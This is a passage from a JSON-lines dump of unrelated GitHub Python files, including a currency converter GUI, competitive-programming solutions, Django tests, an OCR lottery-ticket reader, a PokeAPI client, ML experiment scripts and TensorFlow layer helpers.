label_convert.set(\"ใส่ข้อมูลผิด\")\n entry_trace.set('')\n if test_string_trace == True:\n label_convert.set(c.convert(combo_currency1.get(),combo_currency2.get(),int(entry_trace.get())))\n label_convert_info = c_symbol.get_currency_name(combo_currency1.get()) + ' ' + c_symbol.get_symbol(combo_currency1.get()) + \" >\" + c_symbol.get_currency_name(combo_currency2.get()) + ' ' + c_symbol.get_symbol(combo_currency2.get())\n label_currency_info.set(label_convert_info)\n\n#GUI\nc = CurrencyRates()\nc_symbol = CurrencyCodes()\nmain_window = tk.Tk()\nmain_window.configure(bg='#f2f2f2')\nmain_window.title(\"Convert money\")\nmain_window.geometry(\"700x100\")\n\n#get list\nlist_curency = []\nfor i in c.get_rates(\"USD\"):\n list_curency += [i]\n\n\n#Label\n\nlabel_currency1 = ttk.Label(main_window,\n text='ค่าเงินหลัก ')\nlabel_currency1.grid(row=0, column=0, padx=30)\n\nlabel_currency2 = ttk.Label(main_window,\n text='ค่าเงินที่ต้องการแลกเปลี่ยน')\nlabel_currency2.grid(row=1, column=0, padx=30)\nlabel_convert = tk.StringVar()\nlabel_convert.set(\"อัตราการแลกเปลี่ยนค่าเงิน\")\nlabel_currency3 = ttk.Label(main_window,\n text=\"อัตราการแลกเปลี่ยนค่าเงิน\",\n textvariable=label_convert)\nlabel_currency3.grid(row=1, column=1, padx=30)\nlabel_currency4 = ttk.Label(main_window,\n text=\"ข้อมูลการแลกเปลี่ยนค่าเงิน\")\nlabel_currency4.grid(row=3,column=0)\nlabel_currency_info = tk.StringVar()\nlabel_currency_info.set(\"ข้อมูลการแปลงค่าเงิน\")\nlabel_currency5 = ttk.Label(main_window,\n textvariable=label_currency_info)\nlabel_currency5.grid(row=3,column=1,padx=30)\n\n#Entry\nentry_trace = tk.StringVar()\nentry_trace.trace_add('write', trace_entry)\nentry_currency1 = ttk.Entry(main_window,\n width=20,\n textvariable = entry_trace)\nentry_currency1.grid(row=0, column=1)\n\n#combo\ncombo_currency1 = ttk.Combobox(main_window,\n values=list_curency,\n state=\"readonly\")\ncombo_currency1.grid( row=0, column=2)\ncombo_currency1.current(10)\n\ncombo_currency2 = ttk.Combobox(main_window,\n values=list_curency,\n state=\"readonly\")\ncombo_currency2.grid(row=1, column=2)\ncombo_currency2.current(29)\n\n\n\nmain_window.mainloop()","repo_name":"Posvite/CP3-Wuttipong-Tongchai","sub_path":"assignments/Lecture-114-Wuttipong.T.py","file_name":"Lecture-114-Wuttipong.T.py","file_ext":"py","file_size_in_byte":3011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"20108248033","text":"#!/usr/bin/env python3\n\nfrom math import sqrt, floor, ceil\n\n\ndef is_perfect_square(n):\n val = sqrt(n)\n \n if val - floor(val) == 0:\n return True\n else:\n return False\n\n\ndef next_num(num):\n # val = int(''.join(num))\n # val += 1\n # new_num = list(str(val))\n # if '0' not in new_num:\n # return new_num\n # else:\n # return next_num(new_num)\n\n i = len(num) - 1\n num_copy = num.copy()\n\n while i >= 0:\n if num_copy[i] == '9':\n num_copy[i] = '1'\n i -= 1\n continue\n \n num_copy[i] = chr(ord(num_copy[i]) + 1)\n break\n\n return num_copy\n\n\ndef main():\n t = int(input())\n\n # max_val = 10**6 * 9**2\n\n # squares = [0,1]\n \n # for _ in range(int(sqrt(max_val))):\n # squares.append(squares[-1] + 2*(len(squares)-1) + 1)\n\n for _ in range(t):\n n = int(input())\n\n # 1, 4, 9, 16, 25, 36, 49, 64, 81\n # coins = [1, 4, 9, 16, 25, 36, 49, 64, 81]\n\n num = ['1' for _ in range(n)]\n num_end = ['9' for _ in range(n)]\n \n flag = 0\n\n while num != num_end:\n num_str = ''.join(num)\n\n val = 0\n\n for x in num:\n val += int(x)**2\n \n if is_perfect_square(val):\n print(num_str)\n flag = 1\n break\n\n # print(num_str)\n\n num = next_num(num)\n\n if flag == 0:\n print('-1')\n\n\nif __name__ == '__main__':\n main()","repo_name":"rajatdiptabiswas/competitive-programming","sub_path":"CodeChef/LSTBTF.py","file_name":"LSTBTF.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"2171056349","text":"def CountVowels(word):\r\n # Create counter to store number of vowels\r\n count = 0\r\n\r\n # Iterate through each letter and check if it is a vowel and add it to the vowel count if it is\r\n for letter in word:\r\n if letter == 'a' or letter == 'e' or letter == 'i' or letter == 'o' or letter == 'u':\r\n count += 1\r\n\r\n # Return the integer value for number of vowels\r\n return count\r\n\r\n\r\nprint(CountVowels('pizza'))\r\n","repo_name":"kodewilliams/college","sub_path":"Python/Intro to CS/count_vowels.py","file_name":"count_vowels.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"4583706505","text":"import pytest\n\nfrom goals.models import (\n BoardParticipant,\n GoalCategory\n)\n\n\n@pytest.mark.django_db\ndef test_goal_category_create(auth_client, board_factory):\n board = board_factory(title='test')\n BoardParticipant.objects.create(\n user_id=auth_client.session['_auth_user_id'],\n board=board\n )\n response = auth_client.post(\n '/goals/goal_category/create',\n data={\n 'title': 'test',\n 'board': board.id,\n }\n )\n\n assert response.status_code == 201\n assert response.data.get('title') == 'test'\n\n\n@pytest.mark.django_db\ndef test_goal_category_list(auth_client, board_factory, goal_category_factory):\n goal_category_count = 10\n board = board_factory(title='test')\n BoardParticipant.objects.create(\n user_id=auth_client.session['_auth_user_id'],\n board=board\n )\n goal_category_factory.create_batch(\n title='test',\n user_id=auth_client.session['_auth_user_id'],\n board=board,\n size=goal_category_count\n )\n response = auth_client.get(\n '/goals/goal_category/list',\n )\n\n assert response.status_code == 200\n assert len(response.data) == goal_category_count\n for item in response.data:\n assert item.get('title') == 'test'\n\n\n@pytest.mark.django_db\ndef test_goal_category_update(auth_client, board_factory):\n board = board_factory(title='test')\n BoardParticipant.objects.create(\n user_id=auth_client.session['_auth_user_id'],\n board=board\n )\n response = auth_client.post(\n '/goals/goal_category/create',\n data={\n 'title': 'test',\n 'board': board.id,\n }\n )\n pk = response.data.get('id')\n response = auth_client.patch(\n f'/goals/goal_category/{pk}',\n data={\n 'title': 'test2',\n },\n content_type='application/json'\n )\n assert response.status_code == 200\n assert response.data.get('title') == 'test2'\n\n\n@pytest.mark.django_db\ndef test_goal_category_delete(auth_client, board_factory):\n board = board_factory(title='test')\n BoardParticipant.objects.create(\n user_id=auth_client.session['_auth_user_id'],\n board=board\n )\n response = auth_client.post(\n '/goals/goal_category/create',\n data={\n 'title': 'test',\n 'board': board.id,\n }\n )\n current_count = GoalCategory.objects.filter(is_deleted=False).count()\n pk = response.data.get('id')\n response = auth_client.delete(\n f'/goals/goal_category/{pk}',\n )\n assert response.status_code == 204\n assert GoalCategory.objects.filter(is_deleted=False).count() == current_count - 1\n","repo_name":"KateNova/lesson33","sub_path":"todolist/tests/goals/goal_category_crud_test.py","file_name":"goal_category_crud_test.py","file_ext":"py","file_size_in_byte":2698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"73228217968","text":"from telemetry.story import story_set as story_set_module\n\nfrom gpu_tests import gpu_test_base\n\nclass MemoryTestsPage(gpu_test_base.PageBase):\n\n def __init__(self, story_set, expectations):\n super(MemoryTestsPage, self).__init__(\n url='file://../../data/gpu/mem_css3d.html', page_set=story_set,\n name='Memory.CSS3D',\n expectations=expectations)\n\n def RunNavigateSteps(self, action_runner):\n super(MemoryTestsPage, self).RunNavigateSteps(action_runner)\n action_runner.WaitForJavaScriptCondition(\n 'domAutomationController._finished', timeout_in_seconds=60)\n\n\nclass MemoryTestsStorySet(story_set_module.StorySet):\n\n \"\"\" Tests that validate GPU memory management \"\"\"\n\n def __init__(self, expectations):\n super(MemoryTestsStorySet, self).__init__()\n\n self.AddStory(MemoryTestsPage(self, expectations))\n","repo_name":"crosswalk-project/chromium-crosswalk","sub_path":"content/test/gpu/page_sets/memory_tests.py","file_name":"memory_tests.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","stars":160,"dataset":"github-code","pt":"20"} +{"seq_id":"36146665654","text":"import io\nimport os\nimport re\nfrom datetime import datetime\n\n# Imports the Google Cloud client library\nfrom google.cloud import vision\n\nos.environ[\"GOOGLE_APPLICATION_CREDENTIALS\"]=\"/mnt/c/users/daniel/desktop/2021-05-22 telegram bot - GWN/google-api-key/google-key.json\"\n#os.environ[\"GOOGLE_APPLICATION_CREDENTIALS\"]=\"./google-key.json\"\n\ndef test():\n return read_image(\n \"/mnt/c/users/daniel/desktop/\"\n \"2021-05-22 telegram bot - GWN/images/img10.jpg\")\n\ndef read_image(path_to_file):\n # Instantiates a client\n client = vision.ImageAnnotatorClient()\n \n # The name of the image file to annotate\n # file_name = os.path.abspath(\n # \"/mnt/c/users/daniel/desktop/\"\n # \"2021-05-22 telegram bot - GWN/images/img10.jpg\")\n \n file_name = os.path.abspath(path_to_file)\n \n # Loads the image into memory\n with io.open(file_name, 'rb') as image_file:\n content = image_file.read()\n \n image = vision.Image(content=content)\n \n # Performs label detection on the image file\n response = client.text_detection(image=image)\n text = response.text_annotations\n\n #Isolate whole text, which is stored in text[0]\n temp = text[0].description\n lines = temp.split(\"\\n\")\n \n result = []\n date = []\n \n for line in lines:\n #Find relevant rows with at least 5 sets of XX characters\n if re.findall(\"([0-9]{2} ){5,}\", line):\n result.append(line)\n #Find draw date\n elif re.findall(\"(DRAW: [A-Z]{3} ([0-9]{2}\\/[0-9]{2}\\/[0-9]{2}))\", line):\n date.append(line)\n \n result2 = []\n for string in result:\n # result2.append(re.sub(\"(^[A-Za-z][\\.-]( )?)\", \"\", string))\n result2.append(re.sub(\"^.{0,3}([0-9]{2} )\", \"\\1\", string))\n result3 = \"\\n\".join(result2)\n\n try:\n date = re.sub(\"[^0-9\\/]\", \"\", date[0])\n date = datetime.strptime(date, \"%d/%m/%y\")\n date = date.strftime(\"%Y-%m-%d\")\n except:\n date = None\n \n return {\"date\": date, \"result\": result, \"parsed\": result3}\n\n\ndef parse_raw_numbers(ticket_numbers):\n \"\"\"\n Parse string of text, into list/list of lists of ticket numbers\n \"1 2 3 4 5 6\\n1 2 3 4 5 6\" into\n [[1, 2, 3, 4, 5, 6], [1, 2, 3, 4, 5, 6]]\n \"\"\"\n #if there are multiple lines in the raw text, then split the list\n if re.findall(\"\\n\", ticket_numbers):\n ticket_numbers = re.split(\"\\n\", ticket_numbers)\n ticket_numbers = [re.split(\" \", i) for i in ticket_numbers]\n \n #if only a single line, no need to split the string\n else:\n ticket_numbers = re.split(\" \", ticket_numbers)\n \n return ticket_numbers","repo_name":"dnielt/got-win-not-bot","sub_path":"gcloud_vision.py","file_name":"gcloud_vision.py","file_ext":"py","file_size_in_byte":2643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"39773318184","text":"\n\nclass Subscriber(object):\n \"\"\"\n This class contains the data needed to interact with subscriber\n A subscriber is someone who can send and receive notifications regarding \n the garage\n \"\"\"\n def __init__(self, name, phone=None, ip=None):\n self._name = None\n self._phone = phone\n self._ip = ip\n return\n\n @property\n def name(self):\n return self._name\n\n @property\n def phone(self):\n return self._phone\n\n @phone.setter\n def phone(self, phone):\n self._phone = phone\n return\n\n @property\n def ip(self):\n return self._ip\n\n @ip.setter\n def ip(self, ip):\n self._ip = ip\n return\n\n def notify(self):\n pass\n\n\nif __name__ == \"__main__\":\n print(\"Hello world\")\n\n p = Subscriber(\"Ivan\")\n print(p.__dict__)\n print(p.name)\n print(p.name)\n print(p.__dict__)\n print(p._name)\n\n print(p.phone)\n p.phone = \"5551212\"\n print(p.phone)\n print(p._phone)\n","repo_name":"ifermon/garagePi","sub_path":"subscriber.py","file_name":"subscriber.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"20"} +{"seq_id":"25496549379","text":"import subprocess\nimport os\n\nimport json\n\ndefault_values = json.load(open(\"Rationale_Analysis/second_cut_point.json\"))\n\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--script-type\", type=str, required=True)\nparser.add_argument(\"--exp-name\", type=str, required=True)\nparser.add_argument(\"--dry-run\", dest=\"dry_run\", action=\"store_true\")\nparser.add_argument(\"--run-one\", dest=\"run_one\", action=\"store_true\")\nparser.add_argument(\"--cluster\", dest=\"cluster\", action=\"store_true\")\nparser.add_argument(\"--all-data\", dest=\"all_data\", action=\"store_true\")\n\nparser.add_argument(\"--output-dir\", type=str)\nparser.add_argument(\"--dataset\", type=str)\nparser.add_argument(\"--min-scale\", type=float)\nparser.add_argument(\"--max-scale\", type=float)\n\n\ndef main(args):\n if args.all_data:\n datasets = default_values.keys()\n else:\n datasets = [os.environ[\"DATASET_NAME\"]]\n\n for dataset in datasets:\n new_env = os.environ.copy()\n new_env.update({k: str(v) for k, v in default_values[dataset].items()})\n new_env[\"KEEP_PROB\"] = str(1.0)\n new_env[\"DATASET_NAME\"] = dataset\n\n ith_search_space = {}\n ith_search_space[\"RANDOM_SEED\"] = [1000, 2000, 3000, 4000, 5000]\n\n cmd = (\n [\n \"python\",\n \"Rationale_Analysis/experiments/model_a_experiments.py\",\n \"--exp-name\",\n args.exp_name,\n \"--search-space\",\n json.dumps(ith_search_space),\n \"--script-type\",\n args.script_type,\n ]\n + ([\"--dry-run\"] if args.dry_run else [])\n + ([\"--run-one\"] if args.run_one else [])\n + ([\"--cluster\"] if args.cluster else [])\n )\n\n print(default_values[dataset])\n print(ith_search_space)\n subprocess.run(cmd, check=True, env=new_env)\n\n\nfrom itertools import product\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib\n\nmatplotlib.use('tkagg')\nimport matplotlib.pyplot as plt\nimport numpy as np\n\ndatasets = {\"SST\": \"SST\", \"agnews\": \"AGNews\", \"evinf\": \"Ev. Inf.\", \"movies\": \"Movies\", \"multirc\": \"MultiRC\"}\ncut_point_thresh = [[0.1, 0.2], [0.1, 0.2], [0.05, 0.1], [0.15, 0.3], [0.1, 0.2]]\n\n\ndef results(args):\n data = []\n names = [\"Lei et al\", \"[CLS] Attention + Top K\"]\n for c, (dataset, dataset_name) in enumerate(datasets.items()):\n output_dirs_point = [\n [\n os.path.join(\n args.output_dir,\n \"bert_encoder_generator\",\n dataset,\n \"cut_point\",\n \"EXP_NAME_HERE\",\n \"top_k_rationale\",\n \"direct\",\n \"test_metrics.json\",\n ),\n os.path.join(\n args.output_dir,\n \"bert_classification\",\n dataset,\n \"direct\",\n \"EXP_NAME_HERE\",\n \"wrapper_saliency\",\n \"top_k_rationale\",\n \"second_cut_point\",\n \"model_b\",\n \"metrics.json\",\n ),\n ],\n [\n os.path.join(\n args.output_dir,\n \"bert_encoder_generator\",\n dataset,\n \"direct\",\n \"EXP_NAME_HERE\",\n \"top_k_rationale\",\n \"direct\",\n \"test_metrics.json\",\n ),\n os.path.join(\n args.output_dir,\n \"bert_classification\",\n dataset,\n \"direct\",\n \"EXP_NAME_HERE\",\n \"wrapper_saliency\",\n \"top_k_rationale\",\n \"direct\",\n \"model_b\",\n \"metrics.json\",\n ),\n ],\n ]\n\n for cut, output_dirs in enumerate(output_dirs_point):\n for name, output_dir in zip(names, output_dirs):\n for seed in [1000, 2000, 3000, 4000, 5000]:\n exp_dict = {\"Dataset\": dataset_name, \"Model\": name, \"cut_point\": cut}\n exp_name = []\n for k, v in zip([\"RANDOM_SEED\"], [seed]):\n exp_name.append(k + \"=\" + str(v))\n exp_dict[k] = v\n\n try:\n metrics = json.load(open(output_dir.replace(\"EXP_NAME_HERE\", \":\".join(exp_name))))\n metrics = {\n k: v\n for k, v in metrics.items()\n if k.startswith(\"test_fscore\")\n or k.startswith(\"test__fscore\")\n or k.startswith(\"_fscore\")\n or k.startswith(\"fscore\")\n }\n m = np.mean(list(metrics.values()))\n exp_dict[\"Macro F1\"] = max(0, m)\n except FileNotFoundError:\n print(name, output_dir, exp_name)\n continue\n\n data.append(exp_dict)\n\n \n sns.set_context(\"talk\")\n sns.set(style=\"white\", rc={\"lines.linewidth\": 1.7}, font_scale=1.5)\n data = pd.DataFrame(data)\n fig = plt.figure(figsize=(4, 3))\n ax = sns.catplot(\n y=\"cut_point\",\n x=\"Macro F1\",\n hue=\"Model\",\n ci=\"sd\",\n aspect=2,\n data=data,\n estimator=np.median,\n markers=[\"o\", \"D\"],\n kind=\"point\",\n row=\"Dataset\",\n legend=False,\n palette=[\"blue\", \"red\"],\n dodge=True,\n join=True,\n sharey=False,\n orient='v'\n )\n\n for c, (_, n) in enumerate(datasets.items()) :\n thresh = cut_point_thresh[c]\n ax.axes[c, 0].set_yticklabels(labels=[str(x) for x in thresh])\n ax.axes[c, 0].set_ylabel(\"\")\n ax.axes[c, 0].set_title(n)\n\n plt.xlim(args.min_scale, args.max_scale)\n plt.tight_layout()\n plt.legend().remove()\n sns.despine()\n plt.show()\n # ax.savefig(\"cut-point.pdf\", bbox_inches=\"tight\")\n\n\nif __name__ == \"__main__\":\n args = parser.parse_args()\n if args.script_type == \"results\":\n results(args)\n else:\n main(args)\n","repo_name":"sarahwie/rationale_analysis","sub_path":"Rationale_Analysis/experiments/cut_point_experiment.py","file_name":"cut_point_experiment.py","file_ext":"py","file_size_in_byte":6382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"20"} +{"seq_id":"6385769868","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Aug 11 11:37:04 2016\r\n\r\n@author: tharshi\r\n\"\"\"\r\n# Import needed modules\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom nami import Network, Trainer\r\nfrom init_plotting import *\r\nplt.rcParams['text.usetex'] = True\r\nwidth = 7.784\r\nheight = width / 1.618\r\n\r\ndef movingAverage(x, window):\r\n cumsum_vec = np.cumsum(np.insert(x, 0, 0)) \r\n ma = (cumsum_vec[window:] - cumsum_vec[:-window]) / window\r\n return ma\r\n\r\nx_test = np.load('xt.npy')\r\ny_test = np.load('yt.npy')\r\nco_mean = np.mean(y_test, axis=0)[0]\r\nN = len(x_test)\r\nreg = 5e-5\r\nmethod = 'BFGS'\r\nwindow = 24\r\nlayer_list = [\\\r\n [8],\r\n [16],\r\n [8, 8]]\r\n \r\ninit_plotting()\r\nax = plt.subplot(111) \r\nfig_r = plt.gcf()\r\nax.set_xlabel('Days since Jan 1st 2007')\r\nax.set_ylabel(\\\r\n 'Residuals Smoothed by Window of {:.2f} day(s) (ppbv)'\\\r\n .format(window/24))\r\nax.set_title(\\\r\n 'Effect of Structure on Estimates, Mean CO Field = {:.2f} ppbv'\\\r\n .format(co_mean))\r\n\r\ninit_plotting()\r\nfig_hist = plt.figure()\r\nax_h = plt.subplot(111) \r\nax_h.set_xlabel('Residual (ppbv)')\r\nax_h.set_ylabel('Frequency')\r\nax_h.set_title(\\\r\n 'Effect of Structure on Error Distribution, Mean CO Field = {:.2f} ppbv'\\\r\n .format(co_mean))\r\n\r\nfor layer in layer_list:\r\n nn_structure = [l for l in layer]\r\n nn_structure.insert(0, len(x_test.T))\r\n nn_structure.append(len(y_test.T))\r\n \r\n params = np.load('weights_{}.npy'.format(nn_structure))\r\n net = Network(nn_structure, N, reg, io=False)\r\n net.set_params(params)\r\n\r\n r = (net.forward(x_test) - y_test)\r\n r_ma = movingAverage(r, window)\r\n \r\n t = np.arange(0, len(r))/24\r\n t_ma = np.arange(0, len(r_ma))/24\r\n \r\n\r\n err = np.linalg.norm(r**2)/len(r)\r\n err_ma = np.linalg.norm(r_ma**2)/len(r_ma)\r\n std = np.std(r, ddof=1)\r\n label = '{}, MSE = {:.2f}, $\\sigma$ = {:.2f}'.format(nn_structure, err, std)\r\n ax.plot(t_ma, r_ma, label=label)\r\n ax.legend()\r\n \r\n ax_h.hist(r, label=label, histtype='step', bins=20)\r\n ax_h.legend()\r\n\r\nfig_r.set_size_inches(width, height)\r\nfig_hist.set_size_inches(width, height)\r\nfig_r.savefig('residuals_window_{}.pdf'.format(window), bbox_inches='tight')\r\nfig_hist.savefig('histograms.pdf', bbox_inches='tight')\r\n","repo_name":"tharshi92/Modelling-carbon-monoxide-fields-with-artificial-neural-networks---MSc","sub_path":"nnco_justR.py","file_name":"nnco_justR.py","file_ext":"py","file_size_in_byte":2330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"36420209","text":"import requests\n\npokemon_url = 'https://pokeapi.co/api/v2/pokemon/'\n\n\ndef get_pokemon_by_name(pokemon_name):\n return requests.get(url=pokemon_url + pokemon_name,verify=False).json()\n\n\ndef get_next_in_evolution_chain(pokemon_name):\n pokemon_data = get_pokemon_by_name(pokemon_name)\n species_url = pokemon_data[\"species\"][\"url\"]\n species_info = requests.get(url=species_url,verify=False).json()\n evolution_chain_url = species_info[\"evolution_chain\"][\"url\"]\n evolution_info = requests.get(url=evolution_chain_url,verify=False).json()\n return get_evolves_to_from_chain(evolution_info, pokemon_name)\n\n\n\ndef get_evolves_to_from_chain(chain_info, pokemon_name):\n chain = chain_info[\"chain\"]\n \n while chain[\"species\"][\"name\"] != pokemon_name:\n chain = chain[\"evolves_to\"][0]\n\n if not chain[\"evolves_to\"]:\n return None\n \n return chain[\"evolves_to\"][0][\"species\"][\"name\"]","repo_name":"ginsberger/pokemon-project","sub_path":"pokemon_api.py","file_name":"pokemon_api.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"30593609796","text":"\"\"\"\nowtf.api.handlers.misc\n~~~~~~~~~~~~~~~~~~~~~~\n\nTo be deprecated.\n\"\"\"\nimport tornado.gen\nimport tornado.httpclient\nimport tornado.web\n\nfrom owtf.api.handlers.base import APIRequestHandler\nfrom owtf.lib import exceptions\nfrom owtf.models.error import Error\n\n\nclass ErrorDataHandler(APIRequestHandler):\n SUPPORTED_METHODS = [\"GET\", \"POST\", \"DELETE\", \"PATCH\"]\n\n def get(self, error_id=None):\n if error_id is None:\n error_objs = Error.get_all_dict(self.session)\n self.write(error_objs)\n else:\n try:\n err_obj = Error.get_error(self.session, error_id)\n self.write(err_obj)\n except exceptions.InvalidErrorReference:\n raise tornado.web.HTTPError(400)\n\n def patch(self, error_id=None):\n if error_id is None:\n raise tornado.web.HTTPError(400)\n if self.request.arguments.get_argument(\"user_message\", default=None):\n raise tornado.web.HTTPError(400)\n err_obj = Error.update_error(self.session, error_id, self.request.arguments.get_argument(\"user_message\"))\n self.finish()\n\n def delete(self, error_id=None):\n if error_id is None:\n raise tornado.web.HTTPError(400)\n try:\n Error.delete_error(self.session, error_id)\n self.finish()\n except exceptions.InvalidErrorReference:\n raise tornado.web.HTTPError(400)\n","repo_name":"merlinxcy/owtf","sub_path":"owtf/api/handlers/misc.py","file_name":"misc.py","file_ext":"py","file_size_in_byte":1425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"20"} +{"seq_id":"28827638244","text":"#!/usr/bin/env python3\n\nimport re\nfrom tables._表 import 表 as _表\n\nclass 表(_表):\n\n\tdef parse(self, fs):\n\t\tl = list()\n\t\thz,bds,wds,js = fs[:4]\n\t\thz = hz[0]\n\t\tyd = len(bds) > 0 and len(wds) > 0\n\t\tfor ybs in (bds, wds):\n\t\t\tif not ybs: continue\n\t\t\tfor yb in ybs.split(\",\"):\n\t\t\t\tif \"(\" in yb:\n\t\t\t\t\tybzs = re.findall(\"^(.*?)((.*?))$\", yb)\n\t\t\t\t\tyb = ybzs[0][0]\n\t\t\t\t\tc = ybzs[0][1]\n\t\t\t\tyb = self.dz2dl(yb)\n\t\t\t\tif yd:\n\t\t\t\t\tc = '-' if ybs == bds else '='\n\t\t\t\t\tyb = yb + c\n\t\t\t\tl.append((hz, yb, js))\n\t\treturn l\n","repo_name":"vearvip/MCPDict","sub_path":"tools/tables/博羅泰美.py","file_name":"博羅泰美.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"20"} +{"seq_id":"27170073606","text":"from gensim.models import Doc2Vec\nfrom sklearn.preprocessing import scale\nfrom gensim.models.doc2vec import TaggedDocument\n\n\ndef createVector(data, column):\n # Split text\n splitted = [z.split() for z in data[column]]\n\n taggedDocs_single = []\n for i, sentence in enumerate(splitted):\n\n taggedDocs_single.append(TaggedDocument(sentence, [i]))\n\n d2v_single = Doc2Vec(taggedDocs_single, iter=1000)\n\n single_vectors = scale([doc for doc in d2v_single.docvecs])\n\n return single_vectors\n","repo_name":"tocab/SemEval2017Task5","sub_path":"features/approaches/doc2vec.py","file_name":"doc2vec.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"20"} +{"seq_id":"38764433777","text":"import numpy as np\nimport tensorflow as tf\nfrom tensorflow.contrib.framework.python.ops import add_arg_scope\nfrom tensorflow.contrib.layers.python.layers import initializers, functools\nfrom tensorflow.contrib import slim\nfrom tensorflow.python.training import moving_averages\n\nfrom libs.sn import spectral_norm\n\n\ndef lrelu(x, leak=0.1, name=\"lrelu\"):\n return tf.maximum(x, leak * x)\n\n\ndef get_batch_moments(x, is_training=True, decay=0.99, is_init=False):\n x_shape = x.get_shape()\n axis = list(range(len(x_shape) - 1))\n\n moving_mean = tf.get_variable('moving_mean', x_shape[-1:], tf.float32, trainable=False,\n initializer=tf.zeros_initializer())\n moving_variance = tf.get_variable('moving_var', x_shape[-1:], tf.float32, trainable=False,\n initializer=tf.ones_initializer())\n\n if is_init:\n mean, variance = tf.nn.moments(x, axis)\n elif is_training:\n # Calculate the moments based on the individual batch.\n mean, variance = tf.nn.moments(x, axis, shift=moving_mean)\n # Update the moving_mean and moving_variance moments.\n update_moving_mean = moving_mean.assign_sub((1 - decay) * (moving_mean - mean))\n update_moving_variance = moving_variance.assign_sub(\n (1 - decay) * (moving_variance - variance))\n # Make sure the updates are computed here.\n with tf.control_dependencies([update_moving_mean, update_moving_variance]):\n mean, variance = tf.identity(mean), tf.identity(variance)\n else:\n mean, variance = moving_mean, moving_variance\n return mean, tf.sqrt(variance + 1e-8)\n\n\ndef get_input_moments(x, is_init=False, name=None):\n '''Input normalization'''\n with tf.variable_scope(name, default_name='input_norm'):\n if is_init:\n # data based initialization of parameters\n mean, variance = tf.nn.moments(x, [0])\n std = tf.sqrt(variance + 1e-8)\n mean0 = tf.get_variable('mean0', dtype=tf.float32,\n initializer=mean, trainable=False)\n std0 = tf.get_variable('std0', dtype=tf.float32,\n initializer=std, trainable=False)\n return mean, std\n\n else:\n mean0 = tf.get_variable('mean0')\n std0 = tf.get_variable('std0')\n tf.assert_variables_initialized([mean0, std0])\n return mean0, std0\n\n\n@add_arg_scope\ndef fully_connected(inputs, output_dim, activation_fn=None, is_spectral_norm=False, update_collection=None,\n is_xavier_init=True, with_biases=True, with_w=False, name=\"fc\"):\n ''' fully connected layer '''\n in_shape = inputs.get_shape().as_list()\n\n with tf.variable_scope(name) as scope:\n if is_xavier_init:\n weight = tf.get_variable(\"w\", [in_shape[1], output_dim], dtype=tf.float32,\n initializer=initializers.xavier_initializer())\n else:\n weight = tf.get_variable(\"w\", [in_shape[1], output_dim], dtype=tf.float32,\n initializer=tf.truncated_normal_initializer(stddev=0.02))\n if is_spectral_norm:\n out = tf.matmul(inputs, spectral_norm(weight, update_collection=update_collection))\n else:\n out = tf.matmul(inputs, weight)\n if with_biases:\n bias = tf.get_variable(\"b\", [output_dim],\n initializer=tf.constant_initializer(0.0))\n out = tf.reshape(tf.nn.bias_add(out, bias), out.get_shape())\n if activation_fn is not None:\n out = activation_fn(out)\n if with_w:\n return out, weight\n else:\n return out\n\n\n@add_arg_scope\ndef conv2d(inputs, output_dim, kernel_size=[3, 3], stride=[1, 1], activation_fn=None, padding=\"SAME\",\n is_xavier_init=True, is_spectral_norm=False, update_collection=None, with_biases=True,\n with_w=False, name=\"conv2d\"):\n '''convolutional layer'''\n in_shape = inputs.get_shape().as_list()\n with tf.variable_scope(name) as scope:\n # filter : [height, width, in_channels, output_channels]\n if is_xavier_init:\n w = tf.get_variable(\"w\", kernel_size + [in_shape[-1], output_dim],\n initializer=initializers.xavier_initializer())\n else:\n w = tf.get_variable(\"w\", kernel_size + [in_shape[-1], output_dim],\n initializer=tf.truncated_normal_initializer(stddev=0.02))\n if is_spectral_norm:\n conv = tf.nn.conv2d(inputs, spectral_norm(w, update_collection=update_collection),\n strides=[1] + stride + [1], padding=padding)\n else:\n conv = tf.nn.conv2d(inputs, w, strides=[1] + stride + [1], padding=padding)\n if with_biases:\n biases = tf.get_variable(\"b\", [output_dim], initializer=tf.constant_initializer(0.0))\n conv = tf.reshape(tf.nn.bias_add(conv, biases), conv.get_shape())\n if activation_fn is not None:\n conv = activation_fn(conv)\n\n if with_w:\n return conv, w\n else:\n return conv\n\n\n@add_arg_scope\ndef conv2d_transpose(inputs, output_dim, kernel_size=[3, 3], stride=[1, 1], activation_fn=None,\n padding=\"SAME\", is_xavier_init=True, is_spectral_norm=False, update_collection=None,\n with_biases=True, with_w=False, name=\"conv2d_transpose\"):\n '''transposed convolutional layer'''\n in_shape = inputs.get_shape().as_list()\n if padding == \"SAME\":\n output_shape = [in_shape[0], in_shape[1] * stride[0],\n in_shape[2] * stride[1], output_dim]\n else:\n output_shape = [in_shape[0], in_shape[1] * stride[0] + kernel_size[0] -\n 1, in_shape[2] * stride[1] + kernel_size[1] - 1, output_dim]\n with tf.variable_scope(name) as scope:\n # filter : [height, width, output_channels, in_channels]\n if 